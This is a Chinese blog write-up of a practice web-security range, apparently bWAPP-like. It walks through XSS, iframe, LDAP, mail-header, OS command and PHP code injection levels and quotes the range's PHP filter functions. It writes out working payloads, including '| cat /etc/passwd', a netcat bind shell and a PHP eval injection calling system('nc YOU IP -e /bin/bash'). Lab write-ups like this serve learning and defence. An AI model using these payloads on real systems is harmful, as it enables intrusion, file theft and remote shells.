该记的还是得记,这靶场挺有意思的,大家可以去下载,也可以访问我的线上靶场
地址:http://c0ec11ef2268a3f4067f540035e38555.icecliffs.cn
Low:过于简单,跳过
Medium:
对符号进行了转义,通过URL编码绕过即可
%3c%68%31%3e%32%33%33%3c%2f%68%31%3e
High:
这题绕了很久,最后发现题目是用 htmlspecialchars进行限制的,某秋上有对应的收费课程,但靶场
是pikachu,无奈劝退
一向贯来白嫖的我,哪能把钱花在这种地方,仔细看了下源码
return htmlspecialchars($data, ENT_QUOTES, $encoding);
大致意思就是防止XSS攻击,编码单双引号,啊说不清,自己百度去理解吧,
可参考:
https://security.stackexchange.com/questions/145716/xss-bypass-strtoupper-htmlspecialchars
https://phpsecurity.readthedocs.io/en/latest/Cross-Site-Scripting-(XSS).html
网上还有说能够通过 JSFuck 进行绕过,我没绕成功,感兴趣的自己去试试
同上
CSS一通乱插即可,举个栗子
"
>X
Low:
http://c0ec11ef2268a3f4067f540035e38555.icecliffs.cn:59888/iframei.php?ParamUrl=data:text/html,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e&ParamWidth=250&ParamHeight=250
URL编码一下即可
Medium:
ParamUrl参数被限制了,只能通过其他俩个参数进行注入
http://c0ec11ef2268a3f4067f540035e38555.icecliffs.cn:59888/iframei.php?ParamUrl=http://www.baidu.com&ParamWidth=">&ParamHeight=250
就这
High:
绕了半天绕过不去看了下源码
又遇到这函数了
无奈跳过 Flag-1
参考文章:
https://blog.csdn.net/quiet_girl/article/details/50716312
https://www.cnblogs.com/wilburxu/p/9174353.html
https://blog.csdn.net/weixin_41004350/article/details/89521170
先搭建一下 LDAP 环境,不会搭建的 Google ,篇幅有限,搭建略过
LDAP注入和SQL注入差不多,LDAP利用用户输入的参数生成LDAP查询,我们可以构造恶意的查询语句读取其它数据/跨objectclass读取属性
存储方式:LDAP数据库,按照树结构存储的,数据存储在叶子节点上
Low:
这儿我新建了几个账户和组,直接输入用户名会返回用户信息
简单注入一下 *)(objectclass=*
Medium+High:
过滤了 ( ) = & | *
这几个符号
function ldapi_check_1($data)
{
// Replaces dangerous characters: ( ) = & | * WHITESPACE
$input = str_replace("(", "", $data);
$input = str_replace(")", "", $input);
$input = str_replace("=", "", $input);
$input = str_replace("&", "", $input);
$input = str_replace("|", "", $input);
$input = str_replace("*", "", $input);
$input = str_replace(" ", "", $input);
return $input;
}
原谅我技术太蔡,这题没做出来
没搭建环境,直接看源码
Low+Medium+High:
function email_check_1($data)
{
return preg_match("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$^", $data);
}
function email_check_2($data)
{
return filter_var($data, FILTER_VALIDATE_EMAIL);
}
function maili_check_1($data)
{
// URL decoding %0A -> \n and %0D -> \r
$input = urldecode($data);
$input = str_replace("\n", "", $input);
$input = str_replace("\r", "", $input);
$input = str_replace("bcc:", "", $input);
return $input;
}
function maili_check_2($data)
{
// URL decoding %0A -> \n and %0D -> \r
$input = urldecode($data);
$input = filter_var($input, FILTER_SANITIZE_EMAIL);
return $input;
}
大致就是过滤,替换,编码,就完事了
可参考文章:https://www.cnblogs.com/hongren/p/7154814.html
Low:
常规操作,加个分隔符执行命令
| cat /etc/passwd
或者弹个SHELL | nc -vvlp 4444 -e /bin/bash
后面自己构造吧
Medium:
function commandi_check_1($data)
{
$input = str_replace("&", "", $data);
$input = str_replace(";", "", $input);
return $input;
}
只过滤了 & ; 其他符号没过滤,操作和上面一样
High:
function commandi_check_2($data)
{
return escapeshellcmd($data);
}
用到了 escapeshellcmd 这个函数,这函数可以转义命令函中的危险字符,一样,没做出来
据说低版本php可以进行绕过
详情查看
https://blog.csdn.net/qq_33020901/article/details/84646272
命令盲注
Low:
可利用延时进行注入,具体 127.0.0.1 | sleep 5
成功延迟 5s
老方法,弹个 SHELL 连接完事 127.0.0.1 | nc -vvlp 4444 -e /bin/bash
Medium:
和上面操作一样
High:
和上面一样
刚开始以为是 php 反序列化漏洞,盯着题目盯了好久,最后看了下源码才发现,用 eval()
进行传参的...
Low:
http://c0ec11ef2268a3f4067f540035e38555.icecliffs.cn:59888/phpi.php?message=a;print "2333";echo phpinfo();system('nc YOU IP -e /bin/bash')
Medium+High:
微笑面对恐惧
htmlspecialchars($_REQUEST["message"], ENT_QUOTES, "UTF-8");